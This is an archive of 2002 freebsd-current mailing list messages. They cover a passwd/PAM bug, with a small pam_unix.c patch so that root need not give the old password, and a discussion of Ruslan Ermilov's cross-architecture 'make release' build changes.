for ; Fri, 26 Apr 2002 10:01:30 -0700 (PDT) Date: Fri, 26 Apr 2002 10:01:30 -0700 (PDT) From: bsd To: current@freebsd.org Subject: passwd and PAM Message-ID: <20020426095423.X61186-100000@client.paymentonline.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I realize this probably isn't a -current issue, but since I don't have any experience with PAM I don't know for sure if it's just me or not. My problem is that the passwd command isn't doing anything, at all. I have the stock pam setup (/etc/pam.d, /etc/pam.conf deleted after running mergemaster). Running adduser will add a user with a password in master.passwd, but running passwd will not change the password, regardless if a password exists or is null. Also, if a user does have a password, with the stock setup not even root can change it without providing the correct previous password. This wasn't intentional was it? Chris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 11:27:31 2002 Delivered-To: freebsd-current@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id 21BD837B42C; Fri, 26 Apr 2002 11:26:43 -0700 (PDT) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.6/8.11.2) id g3QIQYZ18508; Fri, 26 Apr 2002 21:26:34 +0300 (EEST) (envelope-from ru) Date: Fri, 26 Apr 2002 21:26:34 +0300 From: Ruslan Ermilov To: current@FreeBSD.org Cc: cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org Subject: Re: cvs commit: src Makefile Makefile.inc1 src/etc Makefile src/gnu/usr.bin/perl/library Makefile.inc src/release Makefile src/release/scripts catpages-make.sh doFS.sh manpages-make.sh src/secure/usr.bin/ssh Makefile src/secure/usr.sbin/sshd Makefile ... Message-ID: <20020426182634.GB87482@sunbay.com> References: <200204261755.g3QHtRv72264@freefall.freebsd.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="8P1HSweYDcXXzwPJ" Content-Disposition: inline In-Reply-To: <200204261755.g3QHtRv72264@freefall.freebsd.org> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --8P1HSweYDcXXzwPJ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable I tested this on i386 only with 2 days old -CURRENT (today's is broken due to the import of latest IPFilter suite), and just to make sure I didn't screw other arches I'd appreciate a feedback from Alpha hardware owners. It's important to note that you no longer need to have a today's world to build a today's release. I.e., if you built world a month ago, and didn't touch /usr/src since, and /usr/obj has "buildworld" output for this /usr/src, and you have booted with this world, it should be okay to start building today's release. I even suspect that you can now use the -STABLE box to build -CURRENT release (but still the same arch). doFS.sh appears to be smart enough to handle (the only so far) incompatibility between -STABLE and -CURRENT, essential for "make release" (vn(4) vs. md(4)). Another note. Make sure that you kldload either vn.ko or md.ko before running "make release", because chroot'ed environment does not have these modules and can't autoload them. I will fix it with one line patch to src/release/Makefile on Monday, by simply copying the respective module from /boot/{kernel,modules}/{vn,md}.ko to the respective place in ${CHROOTDIR}. Make sure to "export NO_IPFILTER" before "make release" if you want to release the today's -CURRENT. IOW, please don't spam me with the initial "buildworld" failures -- my patch has nothing to do with them. :-) It also may be a real pain to use the recent -CURRENT to make a release. "make release" with either WORLD_FLAGS=3D-j4 or KERNEL_FLAGS=3D-j4 often fails, at random intervals and at random places, with either SIGBUS or SIGSEGV. I even had to restart the non-parallel "make release" three times on this fast box. My slow box that was used as this patch's development box (which ran "make release" stage by stage) didn't suffer from this problem for some reason (perhaps, the breakage only shows itself on relatively fast machines?). On Fri, Apr 26, 2002 at 10:55:27AM -0700, Ruslan Ermilov wrote: > ru 2002/04/26 10:55:27 PDT >=20 > Modified files: > . Makefile Makefile.inc1=20 > etc Makefile=20 > gnu/usr.bin/perl/library Makefile.inc=20 > release Makefile=20 > release/scripts catpages-make.sh doFS.sh manpages-make.sh=20 > secure/usr.bin/ssh Makefile=20 > secure/usr.sbin/sshd Makefile=20 > sys Makefile=20 > kerberos5 Makefile Makefile.inc=20 > kerberos5/lib Makefile=20 > kerberos5/lib/libkrb5 Makefile=20 > kerberos5/libexec/hprop Makefile=20 > kerberos5/libexec/hpropd Makefile=20 > kerberos5/libexec/ipropd-master Makefile=20 > kerberos5/libexec/ipropd-slave Makefile=20 > kerberos5/libexec/k5admind Makefile=20 > kerberos5/libexec/k5passwdd Makefile=20 > kerberos5/libexec/kdc Makefile=20 > kerberos5/usr.bin/k5admin Makefile=20 > kerberos5/usr.bin/k5destroy Makefile=20 > kerberos5/usr.bin/k5init Makefile=20 > kerberos5/usr.bin/k5list Makefile=20 > kerberos5/usr.bin/k5passwd Makefile=20 > kerberos5/usr.bin/k5su Makefile=20 > kerberos5/usr.sbin/k5stash Makefile=20 > kerberos5/usr.sbin/ktutil Makefile=20 > kerberosIV Makefile Makefile.inc=20 > share/mk bsd.subdir.mk=20 > Log: > Milestone #1 in cross-arch make releases. > =20 > Do not install games and profiled libraries to the ${CHROOTDIR} > with the initial installworld. > =20 > Eliminate the need in the second installworld. For that, make sure > _everything_ is built in the "world" environment, using the right > tool chain. > =20 > Added SUBDIR_OVERRIDE helper stuff to Makefile.inc1. Split the > buildworld process into stages, and skip some stages when > SUBDIR_OVERRIDE is set (used to build crypto, krb4, and krb5 > dists). > =20 > Added NO_MAKEDB_RUN knob to Makefile.inc1 to avoid running > makewhatis(1) at the end of installworld (used when making crypto, > krb4, and krb5 dists). > =20 > In release/scripts/doFS.sh, ensure that the correct boot blocks are > used. > =20 > Moved the creation of the "crypto" dist from release.5 to > release.2. > =20 > In release.3 and doMFSKERN, build kernels in the "world" > environment. KERNELS now means "additional" kernels, GENERIC is > always built. > =20 > Ensure we build crunched binaries in the "world" environment. > Obfuscate release/Makefile some more (WMAKEENV) to achieve this. > =20 > Inline createBOOTMFS target. > =20 > Use already built GENERIC kernel modules to augment mfsfd's > /stand/modules. GC doMODULES as such. > =20 > Assorted fixes: > =20 > Get rid of the "afterdistribute" target by moving the single use > of it from sys/Makefile to etc/Makefile's "distribute". > =20 > Makefile.inc1: apparently "etc" no longer needs to be last for > "distribute" to succeed. > =20 > gnu/usr.bin/perl/library/Makefile.inc: do not override the > "install" and "distribute" targets, do it the "canonical" way. > =20 > release/scripts/{man,cat}pages-make.sh: make sure Perl manpages and > catpages appear in the right dists. Note that because Perl does > not respect the MANBUILDCAT (and NOMAN), this results in a loss of > /usr/share/perl/man/cat* empty directories. This will be fixed > soon. > =20 > Turn MAKE_KERBEROS4 into a plain boolean variable (if it is set it > means "make KerberosIV"), as documented in the make.conf(5) > manpage. Most of the userland makefiles did not test it for "YES" > anyway. > =20 > XXX Should specialized kerberized libpam versions be included into > the krb4 and krb5 dists? (libpam.a would be incorrect anyway if > both krb4 and krb5 dists were choosen.) > =20 > Make sure "games" dist is made before "catpages", otherwise games > catpages settle in the wrong dist. > =20 > Fast build machine provided by: Igor Kucherenko > =20 > Revision Changes Path > 1.251 +1 -1 src/Makefile > 1.261 +33 -17 src/Makefile.inc1 > 1.283 +4 -2 src/etc/Makefile > 1.9 +2 -8 src/gnu/usr.bin/perl/library/Makefile.inc > 1.9 +24 -21 src/kerberos5/Makefile > 1.10 +2 -7 src/kerberos5/Makefile.inc > 1.6 +2 -3 src/kerberos5/lib/Makefile > 1.9 +1 -2 src/kerberos5/lib/libkrb5/Makefile > 1.7 +2 -3 src/kerberos5/libexec/hprop/Makefile > 1.7 +2 -3 src/kerberos5/libexec/hpropd/Makefile > 1.6 +2 -3 src/kerberos5/libexec/ipropd-master/Makefile > 1.6 +2 -3 src/kerberos5/libexec/ipropd-slave/Makefile > 1.7 +2 -3 src/kerberos5/libexec/k5admind/Makefile > 1.8 +2 -3 src/kerberos5/libexec/k5passwdd/Makefile > 1.8 +1 -2 src/kerberos5/libexec/kdc/Makefile > 1.7 +2 -3 src/kerberos5/usr.bin/k5admin/Makefile > 1.8 +1 -2 src/kerberos5/usr.bin/k5destroy/Makefile > 1.8 +1 -2 src/kerberos5/usr.bin/k5init/Makefile > 1.8 +1 -2 src/kerberos5/usr.bin/k5list/Makefile > 1.8 +1 -2 src/kerberos5/usr.bin/k5passwd/Makefile > 1.4 +1 -2 src/kerberos5/usr.bin/k5su/Makefile > 1.9 +2 -3 src/kerberos5/usr.sbin/k5stash/Makefile > 1.8 +1 -2 src/kerberos5/usr.sbin/ktutil/Makefile > 1.15 +29 -64 src/kerberosIV/Makefile > 1.11 +2 -6 src/kerberosIV/Makefile.inc > 1.672 +71 -116 src/release/Makefile > 1.6 +6 -1 src/release/scripts/catpages-make.sh > 1.40 +6 -3 src/release/scripts/doFS.sh > 1.4 +6 -1 src/release/scripts/manpages-make.sh > 1.15 +4 -6 src/secure/usr.bin/ssh/Makefile > 1.24 +4 -6 src/secure/usr.sbin/sshd/Makefile > 1.38 +3 -13 src/share/mk/bsd.subdir.mk > 1.26 +1 -6 src/sys/Makefile --=20 Ruslan Ermilov Sysadmin and DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age --8P1HSweYDcXXzwPJ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8yZvaUkv4P6juNwoRAr0lAJ9dFl4s6weRQ3v9OgNfMv0WAt4PTACfRoo/ pAmdbPqX/jK0nz1Qh/jXzYQ= =xvYP -----END PGP SIGNATURE----- --8P1HSweYDcXXzwPJ-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 11:59:29 2002 Delivered-To: freebsd-current@freebsd.org Received: from kayak.xcllnt.net (209-128-86-226.bayarea.net [209.128.86.226]) by hub.freebsd.org (Postfix) with ESMTP id 1567037B404; Fri, 26 Apr 2002 11:59:22 -0700 (PDT) Received: from athlon.pn.xcllnt.net (athlon.pn.xcllnt.net [192.168.4.3]) by kayak.xcllnt.net (8.11.6/8.11.4) with ESMTP id g3QIxLJ76421; Fri, 26 Apr 2002 11:59:21 -0700 (PDT) (envelope-from marcel@kayak.pn.xcllnt.net) Received: from athlon.pn.xcllnt.net (localhost [127.0.0.1]) by athlon.pn.xcllnt.net (8.12.3/8.12.2) with ESMTP id g3QIxLHl000346; Fri, 26 Apr 2002 11:59:21 -0700 (PDT) (envelope-from marcel@athlon.pn.xcllnt.net) Received: (from marcel@localhost) by athlon.pn.xcllnt.net (8.12.3/8.12.3/Submit) id g3QIxLxT000345; Fri, 26 Apr 2002 11:59:21 -0700 (PDT) Date: Fri, 26 Apr 2002 11:59:21 -0700 From: Marcel Moolenaar To: Ruslan Ermilov Cc: current@FreeBSD.org, cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org Subject: Re: cvs commit: src Makefile Makefile.inc1 src/etc Makefile src/gnu/usr.bin/perl/library Makefile.inc src/release Makefile src/release/scripts catpages-make.sh doFS.sh manpages-make.sh src/secure/usr.bin/ssh Makefile src/secure/usr.sbin/sshd Makefile ... Message-ID: <20020426185921.GA282@athlon.pn.xcllnt.net> References: <200204261755.g3QHtRv72264@freefall.freebsd.org> <20020426182634.GB87482@sunbay.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020426182634.GB87482@sunbay.com> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, Apr 26, 2002 at 09:26:34PM +0300, Ruslan Ermilov wrote: > I.e., if you built world a month ago, and didn't touch /usr/src > since, and /usr/obj has "buildworld" output for this /usr/src, > and you have booted with this world, it should be okay to start > building today's release. I share my src tree, so I almost always have a /usr/src that's not in sync with the /usr/obj for and on a particular machine. What goes wrong if /usr/src and /usr/obj are out of sync? -- Marcel Moolenaar USPA: A-39004 marcel@xcllnt.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 12: 2:12 2002 Delivered-To: freebsd-current@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id BEC9537B41F for ; Fri, 26 Apr 2002 12:01:48 -0700 (PDT) Received: by flood.ping.uio.no (Postfix, from userid 2602) id 5EBE15348; Fri, 26 Apr 2002 21:01:46 +0200 (CEST) X-URL: http://www.ofug.org/~des/ X-Disclaimer: The views expressed in this message do not necessarily coincide with those of any organisation or company with which I am or have been affiliated. To: bsd Cc: current@freebsd.org Subject: Re: passwd and PAM References: <20020426095423.X61186-100000@client.paymentonline.com> From: Dag-Erling Smorgrav Date: 26 Apr 2002 21:01:45 +0200 In-Reply-To: <20020426095423.X61186-100000@client.paymentonline.com> Message-ID: Lines: 15 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG bsd writes: > My problem is that the passwd command isn't doing anything, at all. Already fixed, cvsup and rebuild libpam. > Also, if a user does have a password, with the stock setup not even root > can change it without providing the correct previous password. This > wasn't intentional was it? Yes and no. There are some complications regarding NIS. It's high on my list of things to fix. DES -- Dag-Erling Smorgrav - des@ofug.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 12: 8:43 2002 Delivered-To: freebsd-current@freebsd.org Received: from client.paymentonline.com (client.paymentonline.com [63.236.115.2]) by hub.freebsd.org (Postfix) with ESMTP id BAEBA37B41C for ; Fri, 26 Apr 2002 12:08:30 -0700 (PDT) Received: from localhost (bsd@localhost) by client.paymentonline.com (8.11.2/8.11.2) with ESMTP id g3QJ5Vt67978; Fri, 26 Apr 2002 12:05:31 -0700 (PDT) Date: Fri, 26 Apr 2002 12:05:30 -0700 (PDT) From: bsd To: Dag-Erling Smorgrav Cc: current@FreeBSD.ORG Subject: Re: passwd and PAM In-Reply-To: Message-ID: <20020426120515.P67902-100000@client.paymentonline.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Great thanks! Chris On 26 Apr 2002, Dag-Erling Smorgrav wrote: > bsd writes: > > My problem is that the passwd command isn't doing anything, at all. > > Already fixed, cvsup and rebuild libpam. > > > Also, if a user does have a password, with the stock setup not even root > > can change it without providing the correct previous password. This > > wasn't intentional was it? > > Yes and no. There are some complications regarding NIS. It's high on > my list of things to fix. > > DES > -- > Dag-Erling Smorgrav - des@ofug.org > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 12: 9: 1 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailout05.sul.t-online.com (mailout05.sul.t-online.com [194.25.134.82]) by hub.freebsd.org (Postfix) with ESMTP id C38B837B41D for ; Fri, 26 Apr 2002 12:08:40 -0700 (PDT) Received: from fwd03.sul.t-online.de by mailout05.sul.t-online.com with smtp id 171B5D-0004qi-03; Fri, 26 Apr 2002 21:08:39 +0200 Received: from twoflower (320072111332-0001@[217.80.127.86]) by fmrl03.sul.t-online.com with smtp id 171B50-1aMYfQC; Fri, 26 Apr 2002 21:08:26 +0200 Reply-To: From: "Jan Stocker" To: Subject: passwd failed Date: Fri, 26 Apr 2002 21:07:22 +0200 Message-ID: <000001c1ed55$9845d140$fe02010a@twoflower.liebende.de> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 X-Sender: 320072111332-0001@t-dialin.net Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I cant change my passwords anymore. $ passwd test the old password and compares the given but does not write anything to the master.passwd or somewhere else. Jan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 12:12:21 2002 Delivered-To: freebsd-current@freebsd.org Received: from pittgoth.com (14.zlnp1.xdsl.nauticom.net [209.195.149.111]) by hub.freebsd.org (Postfix) with ESMTP id E4E3537B400; Fri, 26 Apr 2002 12:12:08 -0700 (PDT) Received: from localhost (lcl234.zbzoom.net [208.236.36.234]) by pittgoth.com (8.12.3/8.12.3) with SMTP id g3QJC5SW016695; Fri, 26 Apr 2002 15:12:06 -0400 (EDT) (envelope-from darklogik@pittgoth.com) Date: Fri, 26 Apr 2002 15:20:02 -0400 From: Tom Rhodes To: Marcel Moolenaar Cc: ru@FreeBSD.org, current@FreeBSD.org, cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org Subject: Re: cvs commit: src Makefile Makefile.inc1 src/etc Makefile src/gnu/usr.bin/perl/library Makefile.inc src/release Makefile src/release/scripts catpages-make.sh doFS.sh manpages-make.sh src/secure/usr.bin/ssh Makefile src/secure/usr.sbin/sshd Makefile ... Message-Id: <20020426152002.213e3832.darklogik@pittgoth.com> In-Reply-To: <20020426185921.GA282@athlon.pn.xcllnt.net> References: <200204261755.g3QHtRv72264@freefall.freebsd.org> <20020426182634.GB87482@sunbay.com> <20020426185921.GA282@athlon.pn.xcllnt.net> X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; i386-portbld-freebsd4.5) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, 26 Apr 2002 11:59:21 -0700 Marcel Moolenaar wrote: > On Fri, Apr 26, 2002 at 09:26:34PM +0300, Ruslan Ermilov wrote: > > > I.e., if you built world a month ago, and didn't touch /usr/src > > since, and /usr/obj has "buildworld" output for this /usr/src, > > and you have booted with this world, it should be okay to start > > building today's release. > > I share my src tree, so I almost always have a /usr/src that's not > in sync with the /usr/obj for and on a particular machine. > > What goes wrong if /usr/src and /usr/obj are out of sync? > > -- > Marcel Moolenaar USPA: A-39004 marcel@xcllnt.net > Correct me if i'm wrong, but last time my obj and src was different, and I tried a make installworld, the process returned errors of: file not found where filename was a missing file. After a cvsup and a makebuildworld, make install world worked fine ;) In other words, I think you will get those errors. -- Tom (Darklogik) Rhodes www.FreeBSD.org -The Power To Serve www.Pittgoth.com -Pittgoth Discussion Portal trhodes@{Pittgoth.com, FreeBSD.org} PGP key by www: http://www.pittgoth.com/~darklogik/darklogik.key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 12:13:11 2002 Delivered-To: freebsd-current@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id B47DF37B41B; Fri, 26 Apr 2002 12:12:36 -0700 (PDT) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.6/8.11.2) id g3QJCES53000; Fri, 26 Apr 2002 22:12:14 +0300 (EEST) (envelope-from ru) Date: Fri, 26 Apr 2002 22:12:14 +0300 From: Ruslan Ermilov To: Marcel Moolenaar Cc: current@FreeBSD.org, cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org Subject: Re: cvs commit: src Makefile Makefile.inc1 src/etc Makefile src/gnu/usr.bin/perl/library Makefile.inc src/release Makefile src/release/scripts catpages-make.sh doFS.sh manpages-make.sh src/secure/usr.bin/ssh Makefile src/secure/usr.sbin/sshd Makefile ... Message-ID: <20020426191214.GA50337@sunbay.com> References: <200204261755.g3QHtRv72264@freefall.freebsd.org> <20020426182634.GB87482@sunbay.com> <20020426185921.GA282@athlon.pn.xcllnt.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="opJtzjQTFsWo+cga" Content-Disposition: inline In-Reply-To: <20020426185921.GA282@athlon.pn.xcllnt.net> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --opJtzjQTFsWo+cga Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Apr 26, 2002 at 11:59:21AM -0700, Marcel Moolenaar wrote: > On Fri, Apr 26, 2002 at 09:26:34PM +0300, Ruslan Ermilov wrote: >=20 > > I.e., if you built world a month ago, and didn't touch /usr/src > > since, and /usr/obj has "buildworld" output for this /usr/src, > > and you have booted with this world, it should be okay to start > > building today's release. >=20 > I share my src tree, so I almost always have a /usr/src that's not > in sync with the /usr/obj for and on a particular machine. >=20 > What goes wrong if /usr/src and /usr/obj are out of sync? >=20 The prerequisite for a successful "make release" is to "installworld" first the same world as you are currently running. This is done to create a pristine environment (with an empty /etc/make.conf, etc.) which is then chroot'ed into. Also, when I wrote "/usr/src" and "/usr/obj" I didn't mean them literally. "make world" in /my/src-5 with MAKEOBJDIRPREFIX=3D/his/obj and /his/obj/my/src-5 staffed with the "buildworld" output from the above should work too. Cheers, --=20 Ruslan Ermilov Sysadmin and DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age --opJtzjQTFsWo+cga Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8yaaOUkv4P6juNwoRAp6vAKCC/DP/LNx9hC+YSsTJgtElmRqOZgCaA8pK 6RxZD5HhQOtpIM4TySZf0/o= =OaKl -----END PGP SIGNATURE----- --opJtzjQTFsWo+cga-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 12:17:35 2002 Delivered-To: freebsd-current@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id 5B29037B400; Fri, 26 Apr 2002 12:16:57 -0700 (PDT) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.6/8.11.2) id g3QJGIU54750; Fri, 26 Apr 2002 22:16:18 +0300 (EEST) (envelope-from ru) Date: Fri, 26 Apr 2002 22:16:18 +0300 From: Ruslan Ermilov To: Tom Rhodes Cc: Marcel Moolenaar , current@FreeBSD.org, cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org Subject: Re: cvs commit: src Makefile Makefile.inc1 src/etc Makefile src/gnu/usr.bin/perl/library Makefile.inc src/release Makefile src/release/scripts catpages-make.sh doFS.sh manpages-make.sh src/secure/usr.bin/ssh Makefile src/secure/usr.sbin/sshd Makefile ... Message-ID: <20020426191618.GB50337@sunbay.com> References: <200204261755.g3QHtRv72264@freefall.freebsd.org> <20020426182634.GB87482@sunbay.com> <20020426185921.GA282@athlon.pn.xcllnt.net> <20020426152002.213e3832.darklogik@pittgoth.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="eJnRUKwClWJh1Khz" Content-Disposition: inline In-Reply-To: <20020426152002.213e3832.darklogik@pittgoth.com> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --eJnRUKwClWJh1Khz Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Apr 26, 2002 at 03:20:02PM -0400, Tom Rhodes wrote: > On Fri, 26 Apr 2002 11:59:21 -0700 > Marcel Moolenaar wrote: >=20 > > On Fri, Apr 26, 2002 at 09:26:34PM +0300, Ruslan Ermilov wrote: > >=20 > > > I.e., if you built world a month ago, and didn't touch /usr/src > > > since, and /usr/obj has "buildworld" output for this /usr/src, > > > and you have booted with this world, it should be okay to start > > > building today's release. > >=20 > > I share my src tree, so I almost always have a /usr/src that's not > > in sync with the /usr/obj for and on a particular machine. > >=20 > > What goes wrong if /usr/src and /usr/obj are out of sync? > >=20 > > --=20 > > Marcel Moolenaar USPA: A-39004 marcel@xcllnt.net > >=20 >=20 > Correct me if i'm wrong, but last time my obj and src was different, > and I tried a make installworld, the process returned errors of: >=20 > file not found >=20 > where filename was a missing file. After a cvsup and a makebuildworld, > make install world worked fine ;) >=20 > In other words, I think you will get those errors. >=20 That is the best scenario, but some of our share/mk targets are "broken" in that they attempt to "build" things at "install" time if they are not up-to-date. For example, SCRIPTS and FILES stuff in bsd.prog.mk suffers from this problem, and it can't be easily solved because we "abuse" the dependencies to get the correct source paths. I haven't (yet) found a way to do it "the other way". This is often reported on various mailing lists; the most frequent one is about "expr not found" while attempting to build groff fonts at "install" time. I answered this question a few zillion times. :-) Cheers, --=20 Ruslan Ermilov Sysadmin and DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age --eJnRUKwClWJh1Khz Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8yaeCUkv4P6juNwoRAmTDAJ9Rk/IUNdFkrCPzvRwPbuPk9/TZYACfZ6bC PsNF77kqY0bdFp9a9EJFCwg= =3ncV -----END PGP SIGNATURE----- --eJnRUKwClWJh1Khz-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 12:30:40 2002 Delivered-To: freebsd-current@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 09BD537B42B for ; Fri, 26 Apr 2002 12:30:32 -0700 (PDT) Received: by flood.ping.uio.no (Postfix, from userid 2602) id 0F1735348; Fri, 26 Apr 2002 21:30:31 +0200 (CEST) X-URL: http://www.ofug.org/~des/ X-Disclaimer: The views expressed in this message do not necessarily coincide with those of any organisation or company with which I am or have been affiliated. To: bsd Cc: current@FreeBSD.ORG Subject: Re: passwd and PAM References: <20020426120515.P67902-100000@client.paymentonline.com> From: Dag-Erling Smorgrav Date: 26 Apr 2002 21:30:30 +0200 In-Reply-To: <20020426120515.P67902-100000@client.paymentonline.com> Message-ID: Lines: 12 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --=-=-= bsd writes: > Great thanks! You're welcome. The attached patch should fix the problem with passwd asking root for the old password. DES -- Dag-Erling Smorgrav - des@ofug.org --=-=-= Content-Type: text/x-patch Content-Disposition: attachment; filename=pam_unix.diff ==== //depot/user/des/pam/lib/libpam/modules/pam_unix/pam_unix.c#14 - /usr/src/lib/libpam/modules/pam_unix/pam_unix.c ==== --- /tmp/tmp.2741.0 Fri Apr 26 21:28:02 2002 +++ /usr/src/lib/libpam/modules/pam_unix/pam_unix.c Fri Apr 26 21:24:35 2002 @@ -313,6 +313,11 @@ PAM_LOG("PRELIM round"); + if (getuid() == 0 && + (pwd->pw_fields & _PWF_SOURCE) == _PWF_FILES) + /* root doesn't need the old password */ + return (pam_set_item(pamh, PAM_OLDAUTHTOK, "")); + if (pwd->pw_passwd[0] == '\0' && pam_test_option(&options, PAM_OPT_NULLOK, NULL)) { /* @@ -338,7 +343,7 @@ PAM_LOG("UPDATE round"); retval = pam_get_authtok(pamh, - PAM_AUTHTOK, &old_pass, NULL); + PAM_OLDAUTHTOK, &old_pass, NULL); if (retval != PAM_SUCCESS) return (retval); PAM_LOG("Got old password"); --=-=-=-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 12:36:24 2002 Delivered-To: freebsd-current@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id 023B137B41D; Fri, 26 Apr 2002 12:36:04 -0700 